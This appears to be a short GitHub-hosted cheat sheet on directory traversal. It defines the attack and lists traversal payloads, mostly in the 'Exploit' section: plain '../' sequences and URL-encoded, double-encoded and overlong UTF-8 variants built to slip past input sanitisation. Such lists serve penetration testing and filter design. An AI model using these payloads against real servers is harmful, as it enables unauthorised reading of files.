Traversal Directory

A directory traversal consists in exploiting insufficient security validation / sanitization of user-supplied input file names, so that characters representing "traverse to parent directory" are passed through to the file APIs.

Exploit

Basic

../
..\
..\/
%2e%2e%2f
%252e%252e%252f
%c0%ae%c0%ae%c0%af
%uff0e%uff0e%u2215
%uff0e%uff0e%u2216
..././
...\.\

16 bit Unicode encoding

. = %u002e
/ = %u2215
\ = %u2216

Double URL encoding

. = %252e
/ = %252f
\ = %255c

UTF-8 Unicode encoding

. = %c0%2e, %e0%40%ae, %c0ae
/ = %c0%af, %e0%80%af, %c0%2f
\ = %c0%5c, %c0%80%5c

References

Directory traversal attack - Wikipedia

787 B Raw Blame History

Traversal Directory

Exploit

References

787 B

Raw Blame History